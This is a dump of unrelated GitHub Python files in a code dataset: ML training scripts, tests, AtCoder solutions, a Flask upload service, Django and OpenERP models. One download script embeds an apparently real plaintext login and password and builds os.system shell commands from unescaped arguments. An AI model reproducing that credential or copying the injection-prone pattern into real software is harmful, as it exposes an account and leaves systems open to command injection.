activation='elu'))\n    # model.add(Dense(1))\n\n    # self made\n    model.add(Lambda(lambda x: (x / 255.0) - 0.5,input_shape=(90,320,1)))\n    # model.add(Cropping2D(cropping=((50,20), (0,0))))\n    model.add(Conv2D(filters=3,kernel_size=(5,5)))\n    model.add(MaxPool2D(pool_size=(4,4)))\n    model.add(Activation('elu'))\n    # second conv layer\n    model.add(Conv2D(6,(3,3)))\n    model.add(MaxPool2D(pool_size=(4,4)))\n    model.add(Activation('elu'))\n    # third conv layer\n    model.add(Conv2D(12,(3,3)))\n    model.add(MaxPool2D(pool_size=(2,2)))\n    model.add(Flatten())\n\n    model.add(Dense(64,activation='elu'))\n    model.add(Dropout(args.keep_prob))\n    model.add(Dense(32,activation='elu'))\n    model.add(Dropout(args.keep_prob))\n    model.add(Dense(16,activation='elu'))\n    model.add(Dropout(args.keep_prob))\n    model.add(Dense(1))\n\n    # # Lenet\n    # model.add(Lambda(lambda x: (x / 255.0) - 0.5,input_shape=(90,320,1)))\n    # model.add(Conv2D(6, kernel_size=(5, 5),\n    #                  activation='elu'))\n    # model.add(MaxPooling2D(pool_size=(4, 4)))\n    # model.add(Conv2D(12, (5, 5), activation='elu'))\n    # model.add(MaxPooling2D(pool_size=(4, 4)))\n    # model.add(Dropout(0.5))\n    # model.add(Flatten())\n    # model.add(Dense(256, activation='elu'))\n    # model.add(Dropout(0.5))\n    # model.add(Dense(128, activation='elu'))\n    # model.add(Dropout(0.5))\n    # model.add(Dense(1))\n    model.summary()\n\n    return model\n\n\ndef train_model(model, args, X_train, X_valid, y_train, y_valid):\n    \"\"\"\n    Train the model\n    \"\"\"\n    checkpoint = ModelCheckpoint('model-{epoch:03d}.h5',\n                                 monitor='val_loss',\n                                 verbose=0,\n                                 save_best_only=args.save_best_only,\n                                 mode='auto')\n\n    model.compile(loss='mean_squared_error', optimizer=Adam(lr=args.learning_rate))\n    steps_per_epoch = len(X_train)//args.batch_size\n    validation_steps = len(X_valid)//args.batch_size\n    print ('steps',len(X_train),len(X_valid),steps_per_epoch,validation_steps)\n    history_object = model.fit_generator(generator(args.data_dir, X_train, y_train, args.correction ,args.batch_size),\n                        steps_per_epoch=steps_per_epoch,\n                        validation_data=generator(args.data_dir, X_valid, y_valid, args.correction, args.batch_size),\n                        validation_steps=validation_steps,\n                        callbacks=[checkpoint],\n                        epochs=args.nb_epoch,\n                        verbose=1,max_q_size=1)\n\n    plt.plot(history_object.history['loss'])\n    plt.plot(history_object.history['val_loss'])\n    plt.ylim([0,0.05])\n    plt.title('model mean squared error loss')\n    plt.ylabel('mean squared error loss')\n    plt.xlabel('epoch')\n    plt.legend(['training set', 'validation set'], loc='upper right')\n    plt.show()\n\ndef s2b(s):\n    \"\"\"\n    Converts a string to boolean value\n    \"\"\"\n    s = s.lower()\n    return s == 'true' or s == 'yes' or s == 'y' or s == '1'\n\n\ndef main():\n    \"\"\"\n    Load train/validation data set and train the model\n    \"\"\"\n    parser = argparse.ArgumentParser(description='Behavioral Cloning Training Program')\n    parser.add_argument('-d', help='data directory',        dest='data_dir',          type=str,   default='data')\n    parser.add_argument('-t', help='test size fraction',    dest='test_size',         type=float, default=0.2)\n    parser.add_argument('-k', help='drop out probability',  dest='keep_prob',         type=float, default=0.5)\n    parser.add_argument('-n', help='number of epochs',      dest='nb_epoch',          type=int,   default=5)\n    parser.add_argument('-c', help='steering correction',   dest='correction',        type=float, default=0.2)\n    parser.add_argument('-b', help='batch size',            dest='batch_size',        type=int,   default=32)\n    parser.add_argument('-o', help='save best models only', dest='save_best_only',    type=s2b,   default='true')\n    parser.add_argument('-l', help='learning rate',         dest='learning_rate',     type=float, default=1.0e-3)\n    args = parser.parse_args()\n\n    print('-' * 30)\n    print('Parameters')\n    print('-' * 30)\n    for key, value in vars(args).items():\n        print('{:<20} := {}'.format(key, value))\n    print('-' * 30)\n\n    data = load_data(args)\n    model = build_model(args)\n    train_model(model, args, *data)\n\n\nif __name__ == '__main__':\n    main()\n\n","repo_name":"JiashengYan/CarND-Term1-P3","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32027195344","text":"import io\nimport os\nimport re\nimport sys\nimport unittest\nfrom unittest.mock import patch\n\nfrom main import input_n, create_table\n\n\nclass TestInputMeasure(unittest.TestCase):\n    def setUp(self):\n        self.temp_output = io.StringIO()\n        sys.stdout = self.temp_output\n\n    def tearDown(self):\n        self.temp_output.close()\n        sys.stdout = sys.__stdout__\n\n    @patch('builtins.input', side_effect=['5'])\n    def test_input_positive(self, mock_input):\n        result = input_n()\n        self.assertEqual(result, 5)\n\n    @patch('builtins.input', side_effect=['0'])\n    def test_input_zero(self, mock_input):\n        result = input_n()\n        self.assertEqual(result, 0)\n\n    @patch('builtins.input', side_effect=['-2', '-2jyt0', 'yreerh', '1gr2313', '5.5', '3'])\n    def test_input_multiple(self, mock_input):\n        result = input_n()\n        self.assertEqual(result, 3)\n\n\nclass TestCreateTableFunction(unittest.TestCase):\n\n    def test_create_table(self):\n        file_path = 'table.html'\n        create_table(10)\n\n        self.assertTrue(os.path.exists(file_path))\n\n        with open(file_path, \"r\", encoding=\"utf-8\") as file:\n            table_content = file.read()\n\n        self.assertIn(\"<table>\", table_content)\n        self.assertIn(\"</table>\", table_content)\n\n        os.remove(file_path)\n\n    def test_zero_rows(self):\n        file_path = 'table.html'\n        create_table(0)\n\n        with open(file_path, \"r\", encoding=\"utf-8\") as file:\n            rows_count = file.read().count(\"<tr\")\n            self.assertEqual(rows_count, 0)\n\n        os.remove(file_path)\n\n    def test_not_zero_rows(self):\n        file_path = 'table.html'\n        create_table(10)\n\n        with open(file_path, \"r\", encoding=\"utf-8\") as file:\n            rows_count = file.read().count(\"<tr\")\n            self.assertEqual(rows_count, 10)\n\n        os.remove(file_path)\n\n    def test_colors(self):\n        file_path = 'table.html'\n        create_table(10)\n\n        with open(file_path, \"r\", encoding=\"utf-8\") as file:\n            table_content = file.read()\n\n            colors = re.findall(r'rgb\\((\\d+.?\\d+), (\\d+.?\\d+), (\\d+.?\\d+)\\)', table_content)\n            self.assertEqual(colors[0], ('255.0', '255.0', '255.0'))\n            self.assertEqual(colors[-1], ('0.0', '0.0', '0.0'))\n\n        os.remove(file_path)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"denis-pptx/SV","sub_path":"Lab1-2/Task4/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36386523195","text":"import numpy as np\nimport scipy.io as sio\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import DataLoader, Dataset,TensorDataset\nfrom sklearn.model_selection import train_test_split\nfrom torch.nn import functional as F\nfrom torch import nn\nimport torch\nimport pytorch_lightning as pl\nfrom pytorch_lightning.core.lightning import LightningModule\nfrom pytorch_lightning import Trainer, seed_everything\nfrom torchvision import transforms, utils\nfrom pytorch_lightning.metrics.functional import accuracy\nfrom pytorch_lightning import Trainer\nfrom pytorch_lightning.loggers import TensorBoardLogger\nimport pandas as pd\nimport seaborn as sns\n\nrandom_seed = 777\nseed_everything(random_seed)\n\n# access to the dict\ndef load_data(test=False):\n    if test:\n        train_data = sio.loadmat('./data/test_32x32.mat')    \n    else:\n        train_data = sio.loadmat('./data/train_32x32.mat')\n    x_train = train_data['X']\n    y_train = train_data['y']\n    x_train = np.moveaxis(x_train,-1,0)\n    return x_train,y_train\n\n# show data\nclass SeedDataset(Dataset):\n    def __init__(self,test=False, rgb=True, img_size=32):\n        x,y = load_data(test)\n        idx=y==10\n        y[idx]=0\n        self.data = x,y\n        self.transform_gray = transforms.Compose([transforms.ToTensor(), transforms.Grayscale(),transforms.Resize(img_size),transforms.Normalize((0.4376821, ), (0.19803012,),)])\n        self.transform_rgb = transforms.Compose([transforms.ToTensor(),transforms.Resize(img_size), transforms.Normalize((0.4376821, 0.4437697, 0.47280442), (0.19803012, 0.20101562, 0.19703614),)])\n        self.rgb=rgb\n        \n    def __len__(self):\n        return len(self.data[1])\n\n    def __getitem__(self,idx):\n        data = self.data[0][idx,:,:,:]\n        label = self.data[1][idx]\n        if self.rgb:\n            data = self.transform_rgb(data)\n        else:\n            data = self.transform_gray(data)\n        return data, torch.tensor(label,dtype=torch.long)\n\n    def show(self,idx):\n        plt.imshow(self.data[0][idx,:,:,:])\n        plt.show()\n        print(self.data[1][idx])\n    \n    def plotim(self,idx):\n        plt.imshow(torch.squeeze(ds[idx][0]))\n\nclass SVHNDataModule(pl.LightningDataModule):\n\n    def __init__(self,batch_size=32,rgb=True,img_size=28):\n        super().__init__()\n        self.batch_size=batch_size\n        self.rgb = rgb\n        self.img_size=img_size\n\n    def setup(self,stage=None):\n\n        if stage == 'fit' or stage is None:\n            train_full = SeedDataset(test=False, rgb=self.rgb,img_size=self.img_size)\n            self.train_set , self.val_set = train_test_split(train_full,test_size=0.1,shuffle=True,random_state=random_seed)\n            self.visual_set = self.train_set[:1000]\n        \n        if stage == 'test' or stage is None:\n            self.test_set = SeedDataset(test=True,rgb=self.rgb,img_size=self.img_size)\n        \n\n    def train_dataloader(self):\n        return [DataLoader(self.train_set,batch_size=self.batch_size,shuffle=True),DataLoader(self.visual_set,batch_size=1000)]\n\n    def val_dataloader(self):\n        return DataLoader(self.val_set,batch_size=1024,shuffle=False)\n\n    def test_dataloader(self):\n        return DataLoader(self.test_set,batch_size=1)\n        \n        \ndef plot_feature(w,number=0):\n    no = number-1\n    image = w[0][no].to(\"cpu\").numpy()\n    min = np.abs(image).max()\n    img = (image).reshape(32,32,-1)\n    if(img.shape[2]==3):\n        img = img * 255\n    else:\n        img = np.squeeze(img,2)\n    plt.imshow(img, vmin=-min,vmax=min, cmap=\"gray\",interpolation='bilinear')\n       \n\ndef imshow_features(weights,show_plot=False):\n    fig = plt.figure(figsize=(10,10))\n    for i in range(9):\n        plt.subplot(3,3,i+1)\n        plt.xticks([])\n        plt.yticks([])\n        plt.grid(False)\n        plot_feature(weights,i)\n    if show_plot:\n        plt.show()\n    return plt.figure()","repo_name":"liongkj/ml-project1-svhn","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41700938302","text":"#!/usr/bin/env python3\r\n\r\n# from collections import Counter\r\n\r\nN = int(input())\r\n\r\nAs = list(map(lambda x:int(x)-1,(input().split())))\r\nBs = list(map(lambda x:int(x)-1,(input().split())))\r\nCs = list(map(lambda x:int(x)-1,(input().split())))\r\n\r\nAs_idxs = [[] for _ in range(N)]\r\nBs_idxs = [[] for _ in range(N)]\r\nCs_idxs = [[] for _ in range(N)]\r\n\r\nfor i, A in enumerate(As):\r\n    As_idxs[A].append(i+1)\r\nfor i, B in enumerate(Bs):\r\n    Bs_idxs[B].append(i+1)\r\nfor i, C in enumerate(Cs):\r\n    Cs_idxs[C].append(i+1)\r\n\r\n# print(As_idxs)\r\n# print(Bs_idxs)\r\n# print(Cs_idxs)\r\nans = 0\r\nfor a, As_idx in enumerate(As_idxs):\r\n    b = Bs_idxs[a] # aという数字がどこにある\r\n    for b_ in b:\r\n        ans += len(As_idx) * len(Cs_idxs[b_-1])\r\nprint(ans)\r\n\r\n\"\"\"\r\n# Bs_counter = Counter(Bs)\r\nBs_dict = {}\r\nCs_counter = Counter(Cs)\r\n\r\nfor i, B in enumerate(Bs):\r\n    if not B in Bs_dict:\r\n        Bs_dict[B] = []\r\n    Bs_dict[B].append(i)\r\n\r\nans = 0\r\nfor A in As:\r\n    if not A in Bs_dict:\r\n        continue \r\n    indices = Bs_dict[A]\r\n    for idx in indices:\r\n        ans += Cs_counter[idx]\r\n\r\nprint(ans)\r\n\"\"\"\r\n\r\n","repo_name":"kussy-tessy/atcoder","sub_path":"abc202/c/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44135982790","text":"from flask import Flask, request, make_response, redirect, url_for, escape, render_template, Markup, session\r\n\r\nimport uuid\r\nimport sqlite3\r\nimport json\r\nimport os\r\n# from threading import Thread\r\nfrom multiprocessing import Process\r\n\r\nimport numpy as np\r\n\r\nimport librosa\r\nfrom scipy.io import wavfile\r\n\r\nfrom init_db import init_db\r\nfrom hypercut import hypercut\r\n\r\nUPLOAD_FOLDER = os.path.abspath(os.path.join(\".\", \"uploads\"))\r\nDB_PATH = os.path.abspath(\"./cuts.db\")\r\n\r\nAUDIO_FILETYPE = \"m4a\"\r\nTARGET_RATE = 16000\r\n\r\ninit_sql:str = \"init.sql\"\r\n\r\napp = Flask(__name__)\r\n\r\ndef convert_frame_rate(path:str):\r\n    data, sampling_rate = librosa.load(path)\r\n    data = librosa.resample(data, sampling_rate, TARGET_RATE)\r\n    wavfile.write(f\"{path.split('.')[0]}.wav\", TARGET_RATE, data)\r\n    return data\r\n\r\ndef cut_thread(path:str):\r\n    convert_frame_rate(path)\r\n    print(\"entering hypercut\")\r\n    phrases, spaces = hypercut(f\"{path.split('.')[0]}.wav\")\r\n\r\n    conn = sqlite3.connect(DB_PATH)\r\n    cur = conn.cursor()\r\n\r\n    print(\"submitting to database\")\r\n    cur.execute(\"INSERT INTO cuts (cut_id, cut) VALUES (?, ?)\", (os.path.basename(os.path.dirname(path)),json.dumps(dict(phrases=phrases, spaces=spaces))))\r\n\r\n    cur.close()\r\n    conn.commit()\r\n\r\n\r\n\r\n@app.route('/upload', methods=['POST'])\r\ndef upload():\r\n    response = dict(id=None, message=\"\")\r\n\r\n    try:\r\n        f = request.files['audio']\r\n    except:\r\n        response['message'] = \"No file provided\"\r\n        return make_response(response, 400)\r\n\r\n    if not f:\r\n        response['message'] = \"No file provided\"\r\n        return make_response(response, 400)\r\n\r\n\r\n    try:\r\n        conn = sqlite3.connect(DB_PATH)\r\n    except:\r\n        response['message'] = \"Internal server error: database failed to connect\"\r\n        return make_response(response, 500)\r\n\r\n    cur = conn.cursor()\r\n    guid = str(uuid.uuid4())\r\n    while cur.execute(\"SELECT COUNT(*) FROM cut_ids WHERE cut_id = ?\", (guid,)).fetchone()[0] > 0:\r\n        guid = str(uuid.uuid4())\r\n\r\n    cur.execute(\"INSERT INTO cut_ids (cut_id) VALUES (?)\", (guid,))\r\n    conn.commit()\r\n    cur.close()\r\n\r\n    os.makedirs(os.path.join(UPLOAD_FOLDER, guid))\r\n    f.save(os.path.join(UPLOAD_FOLDER, guid, f\"audio.{AUDIO_FILETYPE}\")) # NOTE: use a self made file type\r\n    thread = Process(target=cut_thread, args=(os.path.join(UPLOAD_FOLDER, guid, f\"audio.{AUDIO_FILETYPE}\"),))\r\n    thread.start()\r\n\r\n    print(\"responding now from /upload\")\r\n    return {'id': guid}\r\n\r\n@app.route('/cut', methods=['GET'])\r\ndef cut():\r\n\r\n    phrases = []\r\n    spaces = []\r\n    response = dict(phrases=phrases, spaces=spaces, message=\"\")\r\n\r\n    conn = sqlite3.connect(DB_PATH)\r\n    try:\r\n        conn = sqlite3.connect(DB_PATH)\r\n    except:\r\n        response['message'] = \"Internal server error: database failed to connect\"\r\n        return make_response(response, 500)\r\n\r\n    cut_id = request.args.get('id', None, type=str)\r\n    if cut_id is None:\r\n        response['message'] = \"No ID provided\"\r\n        return make_response(response, 400)\r\n\r\n    if request.args.get('debug', 0, type=int):\r\n        response['phrases'].append(\r\n            {\r\n                \"start\":1.2,\r\n                \"end\":4.5,\r\n                \"priority\": 0,\r\n                \"words\":[\r\n                    {\r\n                        \"start\": 1.2,\r\n                        \"end\": 2.3,\r\n                        \"word\": \"Hi\"\r\n                    },\r\n                    {\r\n                        \"start\": 2.4,\r\n                        \"end\": 4.5,\r\n                        \"word\": \"Mikey\"\r\n                    }\r\n                ]\r\n            }\r\n        )\r\n\r\n        return response\r\n\r\n    cur = conn.cursor()\r\n\r\n    # check if the cut id provided exists\r\n    # print(cur.execute(\"SELECT COUNT(*) FROM cut_ids where cut_id = ?\", (cut_id,)).fetchone())\r\n    if cur.execute(\"SELECT COUNT(*) FROM cut_ids where cut_id = ?\", (cut_id,)).fetchone()[0] == 0:\r\n        response['message'] = \"Not a valid ID\"\r\n        cur.close()\r\n        return make_response(response, 406)\r\n\r\n    if cur.execute(\"SELECT COUNT(*) FROM cuts where cut_id = ?\", (cut_id,)).fetchone()[0] == 0:\r\n        response['message'] = \"Not completed yet\"\r\n        cur.close()\r\n        return make_response(response, 200)\r\n\r\n    data = json.loads(cur.execute(\"SELECT cut FROM cuts WHERE cut_id = ?\", (cut_id,)).fetchone()[0])\r\n    response['phrases'] = data['phrases']\r\n    response['spaces'] = data['spaces']\r\n\r\n    cur.close()\r\n    with open('test_cut_response.json', 'w') as f:\r\n        json.dump(response, f, indent=2)\r\n    return make_response(response, 200)\r\n\r\nif __name__ == \"__main__\":\r\n    if not os.path.isdir(UPLOAD_FOLDER):\r\n        os.mkdir(UPLOAD_FOLDER)\r\n        print(\"Upload folder initialized at:\")\r\n        print(UPLOAD_FOLDER)\r\n\r\n    if not os.path.isfile(DB_PATH):\r\n        init_db(DB_PATH, init_sql)\r\n        print(\"SQLite database initialize at:\")\r\n        print(DB_PATH)\r\n\r\n    app.run(host='0.0.0.0', port=5000, threaded=True, debug=True)","repo_name":"professional-crastinators/hypercut-backend","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"73693103231","text":"# -*- coding: utf-8 -*-\n# © 2014 Elico Corp (https://www.elico-corp.com)\n# Licence AGPL-3.0 or later(http://www.gnu.org/licenses/agpl.html)\n\n\nfrom openerp.osv import fields, osv\n\n\nclass  stock_tracking(osv.osv):\n    _inherit ='stock.tracking'\n    def _get_net_weight(self, cr, uid, ids, field_name, arg=None, context=None):\n        res = {}\n        for pack in self.browse(cr, uid, ids, context=context):\n            res[pack.id] = sum([m.product_id.weight_net * m.product_qty for m in pack.move_ids])\n        return res\n    \n    _columns={\n        'ul_id':    fields.many2one('product.ul','Pack Template'),\n        'pack_h':   fields.related('ul_id', 'high', string='H (cm)', type='float', digits=(3,3), readonly=True),\n        'pack_w':   fields.related('ul_id', 'width', string='W (cm)', type='float', digits=(3,3), readonly=True),\n        'pack_l':   fields.related('ul_id', 'long', string='L (cm)', type='float', digits=(3,3), readonly=True),\n        'pack_cbm': fields.related('ul_id', 'cbm', string='CBM',    type='float', digits=(3,3), readonly=True),\n\n        'pack_address': fields.char('Address', size=128),\n        'pack_note':    fields.char('Note', size=128),\n\n        'gross_weight': fields.float('GW (Kg)'),\n        'net_weight':   fields.function(_get_net_weight, arg=None, type='float', string='NW (Kg)'),\n    }\n\n\n\n","repo_name":"Elico-Corp/openerp-7.0","sub_path":"stock_pack_wizard/stock_tracking.py","file_name":"stock_tracking.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"}
+{"seq_id":"1432448063","text":"import argparse\nimport string\nimport re\nimport os\nimport json\nfrom datetime import datetime\n\nMIN_FILE_SIZE = 1024 * 1024\n\nclass search_result_data():\n    def __init__(self):\n        self.log_paths = []\n        self.names = []\n        self.size = []\n        return\n\n    def parse_log_file(self, log_file):\n        path_pattern = re.compile(r'.*path')\n        size_pattern = re.compile(r'.*size')\n        name_pattern = re.compile(r'.*\\'name')\n        with open(log_file, 'r') as log:\n            line = log.readline()\n\n            while line:\n                line = line.rstrip(',\\n')\n                match = path_pattern.match(line)\n                if match:\n                    line_split = line.split('path\\': ')\n                    self.log_paths.append(line_split[1])\n\n                match = size_pattern.match(line)\n                if match:\n                    line_split = line.split('size\\': ')\n                    self.size.append(int(line_split[1]))\n\n                match = name_pattern.match(line)\n                if match:\n                    line_split = line.split('name\\': ')\n                    self.names.append(line_split[1])\n\n                line = log.readline()\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--sdate', action='store', dest='start_date', default=\"None\")\n    parser.add_argument(\"--edate\", action=\"store\", dest=\"end_date\", default=\"None\")\n    parser.add_argument(\"--vehicle-name\", action=\"store\", dest=\"vehicle_name\", default=\"None\")\n    parser.add_argument('--output-path', action='store', dest='output_path', \\\n                        default=\"None\", help='uos run path')\n    log_input = parser.parse_args()\n\n    start_date = log_input.start_date\n    end_date = log_input.end_date\n    if start_date != datetime.strptime(start_date, \"%Y-%m-%d\").strftime('%Y-%m-%d'):\n        raise ValueError(\"Invalid start_date format!\")\n    if end_date != datetime.strptime(end_date, \"%Y-%m-%d\").strftime('%Y-%m-%d'):\n        raise ValueError(\"Invalid end_date format!\")\n\n    if not os.path.exists(log_input.output_path) or not \\\n       os.path.isdir(log_input.output_path):\n        print(\"Invalid output path!\")\n        return\n    output_path = os.path.normpath(log_input.output_path)\n\n    start_time_str = start_date + ' 00:00:00'\n    end_time_str = end_date + ' 00:00:00'\n\n    cmd = \"./loshu-client -u 'zs10438' -p 'Zs271828;' -m search --start_time '\" + \\\n        start_time_str + \"' --end_time '\" + end_time_str + \\\n        \"' --vehicle_name \" + log_input.vehicle_name + \" --name \" + \\\n        log_input.vehicle_name + \"_log\" + \" > search.txt\"\n    os.system(cmd)\n\n    data = search_result_data()\n    data.parse_log_file(\"search.txt\")\n\n    for i in range(len(data.size)):\n        if data.size[i] < MIN_FILE_SIZE:\n            continue\n        fname = data.names[i].rstrip(\"'\").lstrip(\"'\")\n        fname = os.path.join(output_path, fname)\n        print(\"Downloading \" + fname)\n\n        cmd = \"./loshu-client -u 'zs10438' -p 'Zs271828;' -m download \" + \\\n            \" --key \" + data.log_paths[i] + \" --output \" + fname\n        os.system(cmd)\n\n        cmd = \"tar zxf \" + fname + \" -C\" + output_path\n        os.system(cmd)\n        cmd = \"rm \" + fname\n        os.system(cmd)\n\n    cmd = \"rm search.txt\"\n    os.system(cmd)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"cangfeng110/python","sub_path":"loshu_data_download.py","file_name":"loshu_data_download.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7347954524","text":"from django.contrib.auth import get_user_model\nfrom django.db import models\nfrom yamdb.models import Title\n\nfrom .validators import validatescore\n\nUser = get_user_model()\n\n\nclass Review(models.Model):\n    text = models.TextField('Текст отзыва')\n    score = models.PositiveSmallIntegerField(\n        'Рейтинг',\n        validators=(validatescore,)\n    )\n    pub_date = models.DateTimeField(\n        'Дата ревью',\n        help_text='Дата ревью',\n        auto_now_add=True\n    )\n    author = models.ForeignKey(\n        User,\n        on_delete=models.CASCADE,\n        related_name='reviews',\n        verbose_name='Автор ревью',\n        help_text='Автор ревью'\n    )\n    title = models.ForeignKey(\n        Title,\n        on_delete=models.CASCADE,\n        related_name='reviews',\n        verbose_name='Произведение',\n        help_text='Произведение'\n    )\n\n    class Meta:\n        verbose_name = 'Отзыв'\n        verbose_name_plural = 'Отзывы'\n        constraints = (models.UniqueConstraint(\n            fields=('title', 'author'),\n            name='unique_review'\n        ),)\n\n    def __str__(self):\n        return self.text[:15]\n\n\nclass Comment(models.Model):\n    author = models.ForeignKey(\n        User,\n        on_delete=models.CASCADE,\n        related_name='comments',\n        verbose_name='Автор комментария',\n        help_text='Автор комментария'\n    )\n    review = models.ForeignKey(\n        Review,\n        on_delete=models.CASCADE,\n        related_name='comments',\n        verbose_name='отзыв',\n        help_text='отзыв'\n    )\n    text = models.TextField('Текст комментария')\n    pub_date = models.DateTimeField(\n        'Дата комментария',\n        auto_now_add=True\n    )\n\n    class Meta:\n        verbose_name = 'Комментарий'\n        verbose_name_plural = 'Комментарии'\n\n    def __str__(self):\n        return self.text[:15]\n","repo_name":"SergeSGH/yamdb_final","sub_path":"api_yamdb/reviews/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36772984894","text":"import cv2\nimport glob\nimport os\n\nlllist = ['高坂穂乃果', '南ことり', '園田海未', '小泉花陽', '星空凛', '西木野真姫', '矢澤にこ', '絢瀬絵里', '東條希']\nclasses = ['honoka', 'kotori', 'umi', 'hanayo', 'rin', 'maki', 'nico', 'eli', 'nozomi']\nothers = [\"きんモザ\", \"てーきゅう\", \"ラブライブサンシャイン\", \"ごちうさ\", \"りゅうおうのおしごと!\"]\nothers2 = [\"アイマス\", \"sideM\", \"アイカツ\", \"けいおん！\"]\nsearch_list = classes + others + others2\n\n\nimg_width, img_height = 150, 150\n\nresult = {}\nfor member in search_list:\n    # 元画像を取り出して顔部分を正方形で囲み、指定サイズにリサイズ、別ファイルに保存\n    in_dir = './' + member + \"/*\"\n    out_dir_name = 'face/' + member\n    if not os.path.exists(out_dir_name):\n        os.makedirs(out_dir_name)\n    out_dir = \"./\" + out_dir_name\n    print('============================================================================================')\n    print(in_dir)\n    in_jpg = glob.glob(in_dir)\n    in_fileName = os.listdir(\"./\"+member)\n    # print(os.listdir(\".\"))\n    # print(in_jpg)\n    # print(in_fileName)\n    print(len(in_jpg))\n    face_num = 0\n    for num in range(len(in_jpg)):\n        image = cv2.imread(str(in_jpg[num]))\n        if image is None:\n            print(\"Not open:\")\n            continue\n\n        image_gs = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n        cascade = cv2.CascadeClassifier(\"lbpcascade_animeface/lbpcascade_animeface.xml\")\n        # 顔認識の実行\n        face_list = cascade.detectMultiScale(image_gs,\n                                             scaleFactor=1.1, minNeighbors=2,\n                                             minSize=(int(img_width/2), int(img_height/2)))\n        # 顔が１つ以上検出された時\n        if len(face_list) > 0:\n            print('face number is '+str(len(face_list)))\n\n            count = 0\n            for rect in face_list:\n                # print('count is '+str(count))\n                # print('rect: '+str(rect))\n                x, y, width, height = rect\n                face_image = image[rect[1]:rect[1] + rect[3], rect[0]:rect[0] + rect[2]]\n                if rect[2] < img_width:\n                    print('too small')\n                    continue\n                face_image = cv2.resize(face_image, (img_width, img_height))\n\n                print(face_image.shape)\n                # 保存\n                fileName = os.path.join(out_dir, str(count)+'_'+str(in_fileName[num]))\n                try:\n                    cv2.imwrite(str(fileName), face_image)\n                    count += 1\n                    face_num += 1\n                except cv2.error:\n                    print('extension err')\n        # 顔が検出されなかった時\n        else:\n            print(\"no face\")\n            continue\n\n    print(member+\": \"+str(face_num)+\"枚\")\n    result[member] = face_num\n\nprint(result)\n\n# {'honoka': 295, 'kotori': 294, 'umi': 279, 'hanayo': 312, 'rin': 289,\n# 'maki': 253, 'nico': 281, 'eli': 287, 'nozomi': 309,\n#  'きんモザ': 96, 'てーきゅう': 70, 'ラブライブサちうさ': 100, 'りゅうおうのおしごと!': 77,\n# 'アイマス': 67, 'sideM': 82, 'アイカツ': 55, 'けいおん！': 89}\n\n","repo_name":"USonoda/llfaceaws","sub_path":"scraping/cut.py","file_name":"cut.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13751878729","text":"import glob\nfrom pathlib import Path\nfrom document_processing.processing.models import ModelLoader\nfrom document_processing.pipeline_modules import *\n\n\ndef test_blur():\n    loader = ModelLoader()\n    model = loader(Path('../document_processing/models/Blur/TFlite/model.json'))\n    for image_file in glob.glob('images/Blur/*'):\n        image_file_path = Path(image_file)\n        ground_truth = image_file_path.name.split('.')[0]\n        result = model.predict(image_file_path)[0]\n        assert ground_truth == result\n\n\ndef test_blur_originals():\n    blur = Blur('ONNX')\n    for image_file in glob.glob('../tests/images/Originals/Blur/*'):\n        image_file_path = Path(image_file)\n        ground_truth = image_file_path.name.split('.')[0].split('_')[0]\n        result = blur.predict(image_file_path)['Blur'][0]\n        assert ground_truth == result\n\n\n\n\n","repo_name":"protei300/RussianDocsOCR","sub_path":"tests/test_blur.py","file_name":"test_blur.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15456343355","text":"# -*- coding: utf-8 -*-\n\"\"\"\n解く前のメモ用\n\"\"\"\nfrom numpy import lcm, ceil\nfrom sys import setrecursionlimit\n\nsetrecursionlimit(10**7)\n\na = int(input())\nb = int(input())\nn = int(input())\n\nlc = lcm(a, b)\nif n <= lc:\n    print(lc)\n    exit()\nmul = int(ceil(n / lc))\nans = lc * mul\nprint(ans)\n","repo_name":"bun913/atcoder_python","sub_path":"abc032/a/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
